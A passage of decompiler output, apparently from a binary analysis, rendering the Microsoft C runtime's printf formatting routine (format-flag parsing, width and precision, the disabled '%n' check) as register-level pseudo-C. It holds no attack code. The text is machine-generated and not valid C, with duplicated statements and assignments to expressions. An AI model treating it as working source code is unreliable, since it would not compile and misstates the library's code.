													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E004344A0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E004358F0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E004285A0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C6E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M004357E0))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E00431490( *(_t557 - 0x251) & 0x000000ff, E0041AFF0(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00428500( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00428500( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E520();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00423010(_t541))) = 0x16;
																		E00422DA0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041AFC0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x435818; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435800))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x435840; // 0x504e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043582C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x4358ac; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00435870))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E004285E0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AFF0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0xc0d8c8fb
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xc0d7763b
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xc0d772bb
																						E00424860(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E00428620(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E004285E0(__ebp + 0x14);
																		__eax = E00434180();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E520();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																			__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AFC0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
